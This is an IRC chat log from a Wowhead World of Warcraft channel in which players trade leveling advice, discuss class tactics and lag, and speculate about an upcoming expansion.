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00:40.52MalgayneHah!
00:40.54MalgayneDone!
00:40.56MalgayneFinally!
00:41.14[dRaCo]world domination button?
00:42.54RawsI have one of those under my desk
00:42.56RawsI've never tried it out
00:44.14MalgayneI finished the bug list on Wowhead
00:46.01Rawshooray
00:46.09Adyso/
00:48.24Rawsapparently I have failed to compose a public description of myself
00:48.48MalgayneShame on you.  :P
00:49.02Rawsshame no more, as I have a satisfactory description now
00:49.12MalgayneYou are correct
00:49.16MalgayneThat is more than satisfactory
00:50.19Rawsit is sassifying
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01:13.09MalgayneWelcome all
01:18.51MalgayneAnd goodbye
01:18.53MalgayneI have to go drive home now
01:18.59MalgayneBut tomorrow!
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01:19.08*** join/#wowhead peerless_ (n=peerless@ip68-109-122-133.ri.ri.cox.net)
01:19.19peerless_how do mages deal with ranged enemies... i cannot do it its so annoying
01:19.33peerless_melee enemies are cake..just frostbolt, frostbolt, etc, nova. run back. repeat
01:19.37peerless_but with ranged..they dont come at you
01:19.40peerless_they just keep shooting
01:23.57GeSpotttry sheeping, and CS if you have it
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01:28.09tweek__you can't AoE farm ranged so don't even bother
01:28.49tweek__you can LOS them however (by that I mean, hide behind something so they come closer to you), then just ice barrier/mana shield/just go without a shield and start casting as you would with melee
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01:28.58tweek__you can also outrange them outdoors
01:29.20tweek__pulling them is tricky though, since a lot of them outdoors are in hueg camps, you'll likely pull melee *and* ranged
01:32.05tweek__CS really works well on casters
01:32.09tweek__timing it is an art
01:32.13peerless_CS?
01:32.33facelesscounterspell
01:32.38peerless_ah
01:32.42peerless_yeah these are bow dudes
01:32.44peerless_not casters
01:32.59peerless_what level do I get ice barrier
01:33.02tweek__what level are you?
01:33.04tweek__it's a 31-pt talent
01:33.05peerless_28
01:33.08peerless_oh
01:33.16peerless_looks like i got a ways to go
01:33.22tweek__you even have CoC / etc. yet?
01:33.26peerless_yeah i have coc
01:33.42tweek__if they're that big of a problem
01:33.49peerless_all I really use is frostbolt, frost nova, fire blast, and arcane explosion
01:33.53tweek__get in close and work off of shatters using CoC + IAE + Fire Blast
01:33.59tweek__just instacast circle em
01:34.03tweek__and they're like melee
01:34.04peerless_yea
01:34.27tweek__this'll work reliably for up to two or three
01:34.42tweek__after four or five ... even one caster / ranged in the group and you won't be able to AoE them down
01:35.04ValonWhat spec is best for locks? I just started one for the first time?
01:35.09tweek__although if you rely heavily on instants and have Ice Barrier you might be able to pull it off
01:36.40GeSpottaffilication & void tank! =]
01:37.42peerless_man..im following Jame's horde leveling guide
01:37.47peerless_and he said I should have hit 29..
01:37.52peerless_and im still like 5 bars back
01:37.53peerless_bullshit
01:37.58peerless_didnt skip anything
01:39.04Viprimeonoes
01:39.37tweek__grind
01:43.05GeSpottor hit an instance
01:45.09Inc`So I ordered a hot new system, can't wait to see it running WoW
01:45.25tweek__it's a 3-year-old game
01:45.36tweek__try out HL2: ep 1, for like $10 through Steam
01:45.51Inc`I don't like HL2 that much
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02:02.31peerless_do you think wow will run on my old shitty laptop, its a penitum m 1.4ghz with 512mb ram?
02:02.56Adys|sleepdoubt it peerless_
02:03.00Adys|sleepnn all
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02:33.09peerless_anyone want to run me through RFK =)
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03:15.18Biggie_ivwhat sup
03:15.48Biggie_ivguess everyone is sleeping lol
03:17.21kman10587nah
03:17.31kman10587oh yeah i'm supposed to do this every six hours
03:17.33kman10587nerf warlocks
03:18.06Biggie_ivso what sup
03:18.15Biggie_ivanyone play a shaman
03:20.45`-`i did till lv12, then i ran out of hotkeys then i quit
03:20.55Biggie_ivlol
03:21.03Biggie_ivi mad a pally recently, im having fun with it
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03:22.35Mord69:D
03:23.36kman10587:p
03:24.55Biggie_ivwell im ret spec. but the main healer all the time lol
03:25.07Biggie_ivi just throw on mana gear and its a joke
03:28.03Biggie_ivso they leaked out another expansion again
03:28.15Biggie_ivisnt it alittle soon for expansion again
03:28.55`-`no
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03:30.50Biggie_ivthey pulling an everquest lol
03:31.05gamemaniacwhat about everquest?
03:31.07Biggie_ivso is going to have new race and class, or just adding hero
03:31.21Biggie_ivmy eq account is still active, with 13 expansions
03:32.31Biggie_ivseems they trying to hold on to people, so they do jump to warhammer
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03:40.41peerless_theres another expansion?
04:49.40TecnoBratI hate Leotheras
05:01.14gamemaniacquiet...
05:01.28gamemaniac.....too quiet
05:01.33gamemaniacCHUCK NORRIS!
05:02.13Rawsor if you prefer Chuck Norris instead, I have plenty of that :O http://ross.fappett.com/video/walkertexasranger/
05:21.26facelessleaderforget chuck norris... forget mc gyver... HERE IS CHUCK GYVER, the ultimate superhero with the pencil-lipgloss-roundhousekick!!111one11!!!
05:22.09facelessleaderyeah this is funny
05:29.44Rawsyou are a true master of comedy
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07:23.10wu-nixNo.
07:27.17TelrinGah. Bad me.
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08:43.53rokman-yo, is there ever going to be something like ctprofile on wowhead?
08:44.43rokman-...?
08:45.06kinkeriixwould be cool
08:45.33rokman-yeah, i'd love it. I havent found anything like ctprofile since it went down...
08:45.57rokman-im sure it woundt be hard to set something like that up...
08:46.09rokman-*TOO hard*
08:46.26kinkeriixif its on wowhead, it would be very simple, as they already have all the item data
08:46.33rokman-yeah
08:46.46rokman-so maybe someone should do it. :3
08:46.54kinkeriixone of the problems ctprofiles had, was the massive item update blizzard did
08:47.03kinkeriixthey couldnt keep up with the changes, since they are not an item database website
08:47.11rokman-right
08:47.32rokman-so wowhead shouls pick this up. that would make wowhead >>>> thottbot..... more than it already is ofcourse ;)
08:47.41kinkeriixwowhead already > thott
08:47.54rokman-....... see end of last message. o_o
08:47.55kinkeriixevery time i go to that godawful site, it glitches and loops in some "please log in" page
08:48.02rokman-lol
08:48.05rokman-it works fine for me
08:48.11rokman-i just dont like the massive amounts of spam
08:48.13kinkeriixit works for me about 20% of the time
08:48.23rokman-and the spam is slowly flooding into wowhead :(
08:48.42kinkeriixthat happens as any site becomes popular :(
08:48.58rokman-siiiigh. i wonder why ppl even bother...
08:49.34rokman-DONT READ THIS! go to my site at www.imafagthatspamsshit.com! im a tard yee 3ui4htljbfkjgb
08:49.42rokman->_<
08:50.03rokman-i bet thats rly a web. :(
08:50.26kinkeriixive been seeing goldseller spam on wowhead a while back
08:50.49rokman-do any of u use those lvling bots?
08:51.05kinkeriixeh... no
08:51.07rokman-never actually spent the time to look into them
08:51.11rokman-i know they are against tos
08:51.16kinkeriixi already have a level 70 character, i dont need leveling bots
08:51.19rokman-but i see tons of ppl using them no consequences
08:51.25rokman-eh
08:51.27rokman-im a noob
08:51.36rokman-i dont even have a good enough pc since im poor to play
08:51.39rokman-im saving for one now
08:51.40rokman-:(
08:51.48rokman-i play at friends houses. god im a loser. lol
08:51.52kinkeriixheh
08:52.08kinkeriixi like seeing horde botters actually, i kill them a few times before reporting them
08:52.22rokman-HORDE? ur alliance? EWWW
08:52.26rokman-jk ;p
08:52.27kinkeriixlol yeah
08:52.29facelessleaderdid this on my old server with alliance :D
08:52.31rokman-but im horde. i hate alliance
08:52.34kinkeriixi regret the decision :(
08:52.41kinkeriixalliance suck in every bg except AV
08:52.48kinkeriixthey win 1 game in every 20 i swear
08:52.48rokman-lol yeah
08:53.06rokman-alliance sucks period. undead so amazing pvp
08:53.24kinkeriixits not the racial difference that decides the games though
08:53.49rokman-im surprised ALL of horde characters arent ud/orc/be
08:53.49kinkeriixits the fact that half the alliance that queue up.... are total noobs that wont listen or put up any fight against the opposing team
08:54.07rokman-i wanted to play a troll mace rogue. berserk slice and dice proc stun proc stun proc stun >:D
08:54.15kinkeriixif im lucky theres only 3-4 AFKers in wsg or AB
08:54.20rokman-lol
08:54.35rokman-but i am orc lock and undead rogue
08:54.39rokman-ftw
08:54.58kinkeriixhuman mage :(
08:55.08rokman-hahahahaaa
08:55.23rokman-dude, why do u even play on that >.<
08:55.27rokman-eh
08:55.29rokman-to each his own
08:55.35kinkeriixmage is a fun class
08:55.36kinkeriixlol
08:55.38rokman-._.;
08:55.45rokman-but HUMAN?!
08:55.53rokman-id understand ud mage..... but humannnnnnnn
08:55.58kinkeriixalliance doesnt offer much choice
08:56.05kinkeriixits either gnome or human back when i made it
08:56.07rokman-thats becuase alliance is poop
08:56.18kinkeriixand gnomes are short and ugly
08:56.25wu-nixGNOMES > YOU!
08:56.34rokman-i took one glance at the races and color of the factions when i first logged in. horde >>>>>>> ally
08:56.52kinkeriixdraenai mage would probobly be a better choice now though
08:56.58kinkeriix+1% hit rating just for being that race
08:57.08kinkeriixas well as automatically buffing your party with the same bonus
08:57.32rokman-draenei are ugly starcraft wanabees
08:57.36kinkeriixlol
08:57.44rokman-true story
08:58.16rokman-but in all honesty, im probably the worst player ever. i just know like all lore and pretty much everything about the classes. i just over exaggerate ;)
08:58.32rokman-i doubt i even have a week total /played
08:58.38rokman-and i dont even have the game installed in my home
08:58.39rokman-:(
08:59.10rokman-so, ignore _almost_ everything i say ;P
08:59.15kinkeriixwhats your highest char?
08:59.21rokman-28 :(
08:59.37rokman-28 and 24
08:59.48kinkeriixwell, you have no idea how terrible alliance is until you get to 70
08:59.49rokman-and 9281736298746987234 alts around 10-12
09:00.02kinkeriixboth alliance and horde make twinks for the lower battleground brackets
09:00.07rokman-eh, ally is just ugly thats why i hate them
09:00.31kinkeriixi dont really care about how any race "looks"
09:00.46rokman-and, when i first played, i said to myself, "how many noobtard 5 yr olds choose alliance because its the "good" side....... no thanks."
09:01.01kinkeriixi went alliance because my friends were already there
09:01.20kinkeriixif blizzard allowed some kind of race transfer for money... i would gladly pay it and go undead
09:01.26rokman-you blatantly admit your friends are... "noobtard 5 yr olds?"!!!!
09:01.27rokman-jk jk
09:01.32rokman-lol
09:01.37kinkeriixat least one of them is... actually :P
09:01.41rokman-teehee
09:02.32rokman-i think on my rofue im going to go mining blacksmith
09:02.39rokman-for dragonstrike when i hit 70
09:02.47kinkeriixwhat class are you
09:03.03rokman-oh, i said rofue, i ment rogue
09:03.07facelessleaderyeah dragonstrike is nice, but dosn't proc often :(
09:03.11rokman-eh
09:03.15rokman-mace rogue is so good arena
09:03.24rokman-i dont need proc
09:03.29facelessleaderah ok :)
09:03.35kinkeriix5 vortex though :(
09:03.41rokman-ill prolly use dragonstrike and merciless mace w/e its called
09:03.54rokman-yeeeeaaaah..... 5 vortex sucks. but i think i can manage
09:03.58kinkeriixyou will be well into SSC or TK by the time you get the dragonstrike
09:04.25facelessleaderlast week i dropped axesmith to build dragonstrike. only to know that the proc isn't that good :(
09:04.34rokman-heh
09:04.36kinkeriixthat sucks :(
09:04.55facelessleaderyes... this where ~600G and 1 nice GM :D
09:05.07rokman-u know, besides wargliaves (w/e sp), there isnt any rogue-y items illidan drops
09:05.18facelessleaderGM gave me my Black Planar Axe back
09:05.37kinkeriixnice
09:05.37rokman-._.
09:05.58kinkeriixits kinda early for you to worry about illidan drops :P
09:06.04facelessleaderand now i am waiting for last vortex to drop...
09:06.04rokman-bah
09:06.07rokman-i dont have game
09:06.13rokman-i look at items on wowhead >.<
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09:06.24rokman-stormrage signet ring is nice tho
09:06.24kinkeriixfor most guilds, it will take the rest of the year to clear black temple
09:06.44facelessleaderif not longer...
09:06.57rokman-ive been thinking a lot about wrath of the lich king. i hope they open up a salon type deal... if there really is new haircuts coming out for all races
09:07.01kinkeriixor they will give up when the next expansion hits, the same fate that happened to naxxramas
09:07.14rokman-poor nax :(
09:07.24facelessleaderyes... this was bad :(
09:07.47rokman-thats why i think pvp > pve. ove just gets cycled through never ending, really...
09:07.47facelessleaderwe killed nef, pushed equip for naxx... and? bling *BC*
09:07.59kinkeriixgg
09:08.22kinkeriixWoR already has the info on the next expansion
09:08.23rokman-pvp is never ending. but atleast the rewards arent so ridiculous to achieve
09:08.34rokman-yeah, i read it
09:08.43rokman-it says new hair and stuff is coming out for all races
09:08.58rokman-i dont want to restart my UD rogue becuase undead have better hairstyles
09:09.10rokman-so... ;\ they should make salons or something
09:09.14rokman-i dunno
09:09.17kinkeriixit might happen, lol
09:09.42rokman-yeahhhh
09:09.48facelessleaderand stuff like fingernail-studios? :D
09:09.52kinkeriixi think they should just give the Mage class spells to change appearance, make people pay me :P
09:09.57wu-nixhttp://www.wowinsider.com/photos/in-line-for-press-passes/336737/
09:09.58wu-nixhah!
09:10.12facelessleaderrofl
09:10.17rokman-did yall see furi?
09:10.25rokman-has BOTH warglaives
09:11.30rokman-PFFFT pick says two handed staff, yet murloc has an off hand .___.
09:11.50facelessleadernerf!!
09:11.54rokman-lol
09:11.57rokman-QQ QQ QQ
09:12.04facelessleaderit's a strong murloc :D
09:12.08rokman-heh
09:12.59rokman-im glad they changed raids to 25 (even though ive experienced neither) i think 40 seems too much :(
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09:13.22rokman-o_o
09:14.06kinkeriixever experienced MC as a dps class?
09:14.06kinkeriixyou were basically filler
09:14.15facelessleaderMC was fun as dps class
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09:14.49facelessleaderfrostbolt, frostbolt, decurse, frostbolt, iceblock, frostbolt...
09:14.56kinkeriixlol
09:15.21facelessleaderohh and don't forget to pop trinkets lol
09:15.25Psyker7fire mages did a bit more.... scorch x 5, fireball x 5, scorch, fireball x5... etc
09:15.41facelessleaderyeah, i was fire specced for pvp
09:15.46kinkeriixonly 5 fireballs? :D
09:15.51rokman-i guess u could say its worse for priests........ heal, heal, heal, heal
09:15.52rokman-;\
09:15.55Psyker7lol
09:15.57facelessleaderlol
09:15.59kinkeriixwe fire mages can afford at least 8 fireballs :D
09:16.15Psyker7true dat... but lag and laziness to count, and no cast sequence macros :P
09:16.37rokman-do any of u know about /stopcasting? is it good or not worth the effort?
09:16.40kinkeriixi dont use cast sequenece macros, just watching the debuff timer
09:16.46Psyker7its good, and its worth the effort
09:16.47kinkeriixdepends on how much you lag
09:16.53rokman-so like
09:17.01rokman-lots of lag is better/wrose for stopcasting?
09:17.03kinkeriixif your like me... and get 200ms+ latency on crappy servers, you will want to set up macros with that
09:17.05rokman-worse*
09:17.06Psyker7better
09:17.11rokman-wow
09:17.18rokman-ok so
09:17.24rokman-._.
09:17.24kinkeriixif your one of the lucky players that get like 20ms latency... it probobly wont help
09:17.32rokman-i see
09:17.33Psyker7it still will - there is a bit of server lag even so
09:18.00kinkeriixsucks being on the west coast and playing on east coast server... doesnt matter who's internet i use... its always 200ms+ latency
09:18.01Psyker7get quartz cast bar and see what that shows ya....
09:18.11Psyker7try playing from aussie :P always 400+
09:18.14wu-nixQuartz ftw!
09:18.19kinkeriixthen i log into one of the heavy loaded test realms... and i get 10ms lag... wtf?
09:18.40rokman-i play in TX on a pacific (coilfang i think is pacific) so i dont experience too much lag at friend's houses
09:18.42kinkeriixthats a big enough difference to make me want to trasnfer
09:19.12kinkeriixeven with stopcasting macros... theres still situations where the lag makes it very difficult for you
09:19.17rokman-i see
09:19.27rokman-so ill lkook into stopcasting when i get my own pc.. SIIIIIIIIIIGH
09:19.28`-`from korea here, it's always 300-400 too :(
09:19.32kinkeriixfor example... i dont get much reaction time at all when i need to inturrupt casts, like the guys in mech
09:19.51`-`they need to do something bout global cooldown for laggy people
09:19.59rokman-i do agree there
09:20.09kinkeriixits like 300ms before the castbar even shows up for me... then another 300ms before my cs can actually hit... then i have only about half a second to react before i miss
09:20.14rokman-i can see a CONSIDERABLE difference in the change between two of my friends houses
09:20.23Psyker7yeah kinkeriix - that sucks
09:20.24rokman-when the "line"
09:20.34Psyker7i >can< get it if im totally on the ball though
09:20.49rokman-when the "line" circles around my spells during global cooldown, its either smooth or so choppy im not sure when it has ended
09:21.02Psyker7quartz helps there too
09:21.08rokman-so i lose like 0.2 seconds of wondering when to cast
09:21.14kinkeriixive had times where the gcd appears to end... then i cast something and the server says the spell is not ready
09:21.22rokman-yeah
09:21.24rokman-same here
09:21.26kinkeriixwhich screws me up even more, because then i have to wait another second
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09:21.51rokman-this all resulted me in to button mashing. :( and apparently, i have to stop that for /stopcasting
09:22.19rokman-luckily when i play my rogue i dont have any of these problems lol
09:22.48kinkeriixi dont think i could stand playing a melee class :P
09:23.07Psyker7melee doesn't have to worry about stopcasting >.<
09:23.11rokman-ohhohohoho, after playing rogue straight for like 10 days, i said the same about casters ;P
09:23.22kinkeriixlol
09:23.47rokman-melee and casting both have advantages. melee just takes tress off from micromanaging a bunch of stuff
09:23.52rokman-stress*
09:24.12kinkeriixas a mage, i normally just sit there throwing spells :P
09:24.17kinkeriixwhile farming, i kill mobs in 2 shots
09:24.30facelessleaderyeah i need 1 WF ^^
09:24.34rokman-i mean, while lvling i can just run in and tap right click, dead. so easy but when im on my warlock, i have to send in oet, throw dot, bolt, bolt, wand, dead. :(
09:25.13kinkeriixwarlock: target mob1, dotdotdot target mob2, dotdotdot target mob3, dotdotdot, aoe fear, all dead
09:25.20rokman-for me, melee is just simpler. i like simple
09:25.38facelessleaderi have made a macro for my lock alt... got a g15 keyboard :D
09:25.42rokman-aoe fear? im not high enough level for howl of terror, bub
09:25.52facelessleaderpet, dot, dot, dot, bold, wand
09:25.52kinkeriixheh
09:26.12kinkeriixtarget mob: dot dot dot fear bolt dead
09:26.16kinkeriixhows that :P
09:26.24facelessleaderwould work too ^^
09:27.07rokman-ehhhh and plus, i love pvp. rogue >>> lock. i mean, yeah i got fear and dot. wooooo...... but rogues are so fun. blind sap gouge evisceRAPE
09:27.20kinkeriixlol
09:27.34rokman-but whadda i know. im a nub
09:27.40kinkeriixi kinda hate rogues, they get to stealth around in neutral towns and just sap you and you cant do anything about it
09:27.49rokman-exactly
09:27.50rokman-play it
09:27.53rokman-its SOOO FUN
09:27.59kinkeriixi wouldnt wanna lvl it
09:28.00kinkeriix:)
09:28.31rokman-i enjoy playing rogue i only have to use like three buttons.
09:28.35facelessleaderbut with the g15 keyboard, there is too much automation possible. i could make a macro like tab, pet attack, dot, dot, dot, bold and let it loop.. so my char could stand the whole day at the same point and kills mobs and i am at work or stuff
09:28.38rokman-lock has like 30
09:29.06kinkeriixkinda a bad idea though.... the botting would look so obvious and players would report you
09:29.34rokman-i once saw th9is mouse, it had like 12 buttons on it. it was like a piece of a keyboard with a mouse wheel...... it was scary
09:29.37facelessleaderi havn't said i would do that ^^ but's true
09:29.39kinkeriixand if your pet dies, what then?
09:30.03facelessleaderpet shouldn't die because of wait for respawn
09:30.20facelessleaderor just add healthfunnel and drain life
09:30.38rokman-or you can..... DONT READ THIS! go to www.wecheatatwow.com we dont use korean slaves!!! level to 127865 in TWOOOO DAYSSSSSS
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09:30.44kinkeriixlets say the opposing faction finds you, thinks your botting, and decides to toy with you a bit
09:30.53facelessleaderROFL
09:30.59rokman-;)
09:31.04facelessleaderi am at pve server
09:31.27facelessleaderor you mean tagging?
09:31.37kinkeriixany faction could tag your shit :)
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09:31.55rokman-holy shit its 4:30. see yall guys later
09:31.57kinkeriixthey just hit it and let you give them loot
09:32.02rokman-4:30 AM
09:32.03facelessleadertrue, but thats possible with every kind of bot, everyone could tag the mob
09:32.17kinkeriixthen they start linking purples that might have dropped, but you wouldnt know :P
09:32.20facelessleaderi did it last month for hour
09:32.20facelessleaders
09:32.30facelessleaderlol
09:33.18kinkeriixi used to do that a lot in other games, someone would be close to stealing my kill, but i would get it anyway, then i would tell them some rare crap dropped
09:33.43facelessleaderhehe
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09:43.24v0LTag3hello
09:43.30v0LTag3can i ask you something ? :P
09:43.56Teomyryou already did ;)
09:44.01v0LTag3;)
09:44.10v0LTag3can u tell me some good farming spots /
09:44.10v0LTag3?
09:44.52Teomyrno, i don't know them either. haven't actually played since ages :/
09:45.15v0LTag3ah ;(
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09:51.17Infinity-Xmorning ladies and gents
09:51.32Infinity-Xav weekend time, gotta get to the afking!
09:52.16v0LTag3;)
09:53.02facelessleaderlet's create another macro for my g15
09:53.50v0LTag3g15?
09:53.59facelessleaderlogitech g15 keyboard
09:54.07wu-nixhttp://www.logitech.com/index.cfm/keyboards/keyboard/devices/180&cl=us,en
09:54.11v0LTag3oo nice
09:54.15v0LTag3i dream for that
09:54.19v0LTag3i have a g5 mouse xD
09:54.23`-`facelessleader: bastard :P
09:54.25facelessleaderg7 here ^^
09:54.28facelessleader:P
09:54.30v0LTag3:P
09:54.37v0LTag3the cordless?
09:54.40`-`i should afk too at work :(
09:54.41facelessleaderg7 and g15 is a dream for gamers
09:54.46facelessleaderg7 is cordless
09:54.57v0LTag3dont like the cordless mouses xD
09:55.45facelessleaderit's cool because you got 2 batteries
09:55.47v0LTag3i have always dreamed for that keyboard
09:55.52v0LTag3xD
09:56.05v0LTag3faceless whare are you from?
09:56.10facelessleadergermany
09:56.44facelessleaderis my english so bad?
09:56.47facelessleader:D
09:56.55v0LTag3no
09:56.55v0LTag3:D
09:57.00v0LTag3i am commin to germany
09:57.06v0LTag3finding you ;D
09:57.09facelessleaderlol ^^
09:57.09v0LTag3robing ur house
09:57.11facelessleaderhehe
09:57.17v0LTag3and taking the keyboard
09:57.17v0LTag3:D
09:57.23wu-nixcmon it's not THAT expensive..
09:57.26AustinIsn't it a little cheaper to... buy one?
09:57.42facelessleadertry to pass my dog and my M4 ^^
09:57.45v0LTag3how much was it?
09:57.59facelessleaderuhm like 70euros
09:58.03v0LTag3lol
09:58.04v0LTag3xD
09:58.10v0LTag3i am 13 man xD
09:58.15v0LTag3how do i get 70 euros
09:58.19v0LTag3in bulgarian money
09:58.24v0LTag3that is 140 levs
09:58.24v0LTag3xD
09:58.55AustinI have an MX518 mouse, and normally use my Macbook's built-in keyboard.
09:58.57facelessleaderuhm... nespaperboy ^^
09:59.06facelessleader*news
09:59.30facelessleaderthe mx518 will be my next mouse
10:00.15v0LTag3lol i like g5 and never gona change it xD
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10:05.31DemetriousGood morning fellows.
10:05.38facelessleaderhi
10:05.57DemetriousHow goes here today. Happy Friday, TGIF!
10:15.27v0LTag3fellows tell me some good farming spots ? ^^
10:15.41Infinity-Xdaily quests
10:15.41DemetriousWhat level?
10:17.10v0LTag3hmm
10:17.12v0LTag355
10:17.12v0LTag3level
10:17.13v0LTag3warlock
10:17.14v0LTag3;)
10:17.26DemetriousWinterspring furbolgs.
10:17.33facelessleaderhmm satyrs in azshara maybe?
10:18.07DemetriousKill like there is no tomorrow, do not look at your coins, do not vendor your runecloth, but sell it fairly (that is, beat the farmer on their game).
10:19.10DemetriousIn a week and a half grinding reputation with them, I made 1500g, enough for my first epic mount and coins left. And I almost leveled to 60.
10:19.47facelessleaderi've found several ramdom epics there :D was farming for rep too
10:19.49Infinity-Xhit 70 and do daily quests
10:19.53Infinity-Xit's not worth it to stop
10:20.02Infinity-Xtrust me
10:20.03Demetriousfacelessleader: Yes, me too.
10:21.10v0LTag3i am tailor so cloth
10:21.15v0LTag3goes for tailoring ;D
10:21.32DemetriousTo make money, tailoring is the first mistake :-P
10:21.47DemetriousGet skinnnig/herbalism or skinning/minning.
10:22.34v0LTag3xD
10:22.37v0LTag3i want tailoring
10:23.10Demetrious:-)
10:23.20DemetriousYou could always leveled it up at a higher level.
10:23.51v0LTag3nah i am tailor enchanter
10:23.53v0LTag3and :D
10:24.03v0LTag3i am not far away from 300 skill
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10:31.33`-`guys
10:31.39`-`what's a mercurial stone and where can i find it?
10:35.55v0LTag3dunno
10:35.56v0LTag3;S
10:36.19v0LTag3ah
10:36.25v0LTag3alchemist can create
10:36.26v0LTag3it
10:36.30v0LTag3no1 drop it
10:36.32`-`oh
10:36.35`-`:3
10:36.36`-`thanks
10:37.05v0LTag3;)
10:37.27v0LTag31x primal earth 1x primal mana 1x primal life
10:38.21`-`gah, more money :(
10:38.29wu-nixcheap
10:38.32`-`powerleveling jewelcrafting, didn't know how much it would cost
10:38.44`-`i got to 340 now in 3 days and 750g later, got 110g left Q_Q
10:39.02`-`bleh i won't make it..
10:43.18Demetrious`-`: It took me around 1000g or more to powerlevel enchanting...
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11:06.55DemetriousHi there.
11:07.01v0LTag3hi
11:07.42wu-nixomghi
11:08.17Adyshey
11:10.21KalrothHello friends and Adys!
11:10.29AdysHi sweetie
11:10.52KalrothYou're up early, Adys!
11:11.01AdysYup
11:11.25wu-nix7 more houuuuurs!
11:19.56Demetriouswu-nix: For what?
11:20.03Demetriouswu-nix: To leave work?
11:20.05Demetrious:-D
11:28.56wu-nixBlizzcon!
11:29.07wu-nixNot that im going or anything :|
11:37.38DemetriousOh... I tohught it was only 3-4 hours left.
11:43.54v0LTag3some1 from neptulon people/
11:43.55v0LTag3?
11:43.56v0LTag3:P
11:48.00`-`Demetrious: odd, took me alot less to level my enchanting, 300g took me to 275 in 4 hours
11:48.09`-`lucky day on AH i guess
11:48.13wu-nixv0LTag3, me?
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11:52.53Demetrious`-`: It varies from server to server. I leveled to 300 while in Argent Dawn (US). But I am including the cost of adquiring Crusader and Lifestealing.
11:52.54Karaiherro ^-^
11:52.54`-`Demetrious: oic!
11:52.54v0LTag3Demetrious
11:52.54v0LTag3i took my 55 levels to
11:52.54v0LTag327x
11:52.54v0LTag3:D
11:52.57v0LTag3273 i think
11:52.58v0LTag3xD
11:54.31KaraiWhen does Blizzcon begin?
11:54.56wu-nix6 hours 8 minutes!
11:55.06[dRaCo]and 5 seconds!
11:55.51Karaiheh
11:56.04KaraiThat german guide thing
11:56.07Karaireally pissing me off
11:56.10wu-nixShouldn't you be sleepin`?:)
11:56.11KaraiI want to hear it frm Blizzard
11:56.18Karailol
11:56.27KaraiI had to wake up early today, gotta help dad move some stuff
11:56.39KaraiI made sure to tire myself out last night and head to bed at a decen ttime :3
11:57.35KaraiBut, if Hero classes, Death Knights, killing Arthas, and all that come to pass, then I'll be leaving WoW for good when the expantion is released.
11:57.51wu-nixTo pass?
11:58.02KaraiIf it is confirmed at Blizzcon
11:58.09wu-nixWhy?
11:58.45KaraiBecause WoW, which is a pretty unique and amazing game, is just going to go mainstream. "Fuck Lore" I believe is a good quote to use. :P
11:59.57KaraiMost MMOs I've ever played don't have such things as group quests or raids, they are msotly solo grinders. Also, Most games I've played consider "tanking" as "who ever is closest to the mobs, gets aggro"
12:00.15KaraiStuff like that
12:00.31KaraiHaving death knights partying with me just... wouln;t feel right
12:00.56Karaiand having hero classes isjsut too "i want to be better without having to put effort into my character"
12:01.05KaraiTime Played != Skill
12:01.24Karaiand, if we kill arthas, who the hell else is there to look forward to?
12:01.28wu-nixAnd you figured this out only now?:|
12:01.43KaraiNo, I've been thinking on it ever since I read that article
12:01.52wu-nixNo.. the time/skill thingie
12:02.02KaraiPeople say it's confirmed, but I really don't want to believe it until Blizzard says so
12:02.06Karaiheh
12:02.57KaraiWell, if people get to level 70 as say a paladin, and then get a quest to upgrade to a death knight, then how the hell is that even plausable?
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12:04.19wu-nixAs you said... wait for Blizzard to confirm it.. im almost sure that even if it comes true they find a way to make it good (read "not suck" :P)
12:04.53Karaiwell
12:05.03Karaithe article also said there wil be ways to change hair color and stuff
12:05.13Karaiand blizz said they will never do that
12:05.21Karaiso I am thinking that might be a glimmer of hope
12:05.36KaraiAlso, "enscribed spells"
12:05.38wu-nixTrust Blizzard! -_-
12:05.42KaraiSo....
12:05.48KaraiLet me get this right.
12:05.50KaraiRight now
12:05.55Karaipeopel can enchant their gear
12:05.56wu-nixMaybe they announce WoW2 lol
12:05.57Karaiand socket it
12:05.59Karaito make them stronger
12:06.15Karaiwhich in turn makes your spells stronger
12:06.22Karainwo we directly attack shit to spells?
12:06.35KaraiHoly Shock
12:06.39Rawsgotta have more cowbell, baby
12:06.55Karaiadd an enscription that does +100 shadow damage loL!
12:08.06KaraiSometimes it's hard to trust Blizzard >.>
12:09.05wu-nixeh, for me is simple.. im not into lore.. i still like the game... and its not like i have any other better options atm :)
12:09.21KaraiAye, that is simple enough.
12:09.27KaraiBut for me, it's all about the lore.
12:09.32KaraiI love the story of warcraft
12:09.36Karaiall the side stories
12:09.59Karaiit's such a nicely written story, and I enjoy just running around the world and reading wow wiki
12:10.38Karaiso having them take a huge dump on it's ches,t then makign it eat in front of an audience at blizzcon... would make me a sad panda
12:11.24wu-nix:|
12:11.49KaraixD
12:11.58KaraiAs i said, I'm into stories :P
12:12.45v0LTag3Karai
12:12.47v0LTag3blizzard
12:13.04v0LTag3started canceling theyr promisess from warcraft 2
12:13.11v0LTag3its in theyr blood ..
12:13.12KaraiMm?
12:13.38v0LTag3their *
12:14.15v0LTag3they promised
12:14.17KaraiSo there is a glimmer of hope? :D
12:14.22v0LTag3yeah
12:14.26v0LTag3a little xD
12:14.26Karai:d
12:14.39wu-nixv0LTag3 whats your main on neptulon?
12:14.45v0LTag3i am kind of new
12:14.50v0LTag355 level
12:15.07v0LTag3my main's name is Electron
12:15.24wu-nixow
12:15.35v0LTag3but when blizzard promissed on warcraft 2
12:15.38v0LTag3to have
12:15.42v0LTag3heroes
12:15.48wu-nixDidn't thought new people still choose Neptulon :)
12:15.51v0LTag3..
12:15.55v0LTag3;)
12:16.15v0LTag3it had nice name thats why i choosed it :D
12:16.55v0LTag3is the lock nice hero ?
12:17.06wu-nixOP!!1
12:17.23v0LTag3op ?
12:17.26v0LTag3:D
12:17.47Karaiwarlock = OP hero class!!1
12:18.04v0LTag3ah ;)
12:18.09v0LTag3me=warlock xD
12:18.18Karainerf nerf nerf!!1
12:18.29wu-nixv0LTag3, http://youtube.com/watch?v=c577KOCwf9g
12:18.37KaraiI think blizzard should impliment an extra system added onto resistances
12:18.40Karaisay like
12:19.06v0LTag3xD
12:19.10Karaisimilar to pokemon, some types of mobs have "resistance" to effects where some get hurt moar
12:19.26Karailike, demons and undead shoudl take axtra damage form holy spells
12:19.31Karaiand less from shadow
12:19.32v0LTag3yeah
12:19.46Karairagnoros should be immune to fire, and hurt a ton by frost
12:20.19KaraiLike.... How can a fuckign skeleton resist my exorcism?
12:20.24Karaizzz
12:20.26wu-nixlol
12:21.16KaraiAlso
12:21.16v0LTag3lol
12:21.17v0LTag3..
12:21.25KaraiIf death knights come to pass as a hero class
12:21.32Karaiwho will get to be them?
12:21.37v0LTag3death knigh?
12:21.44v0LTag3lol
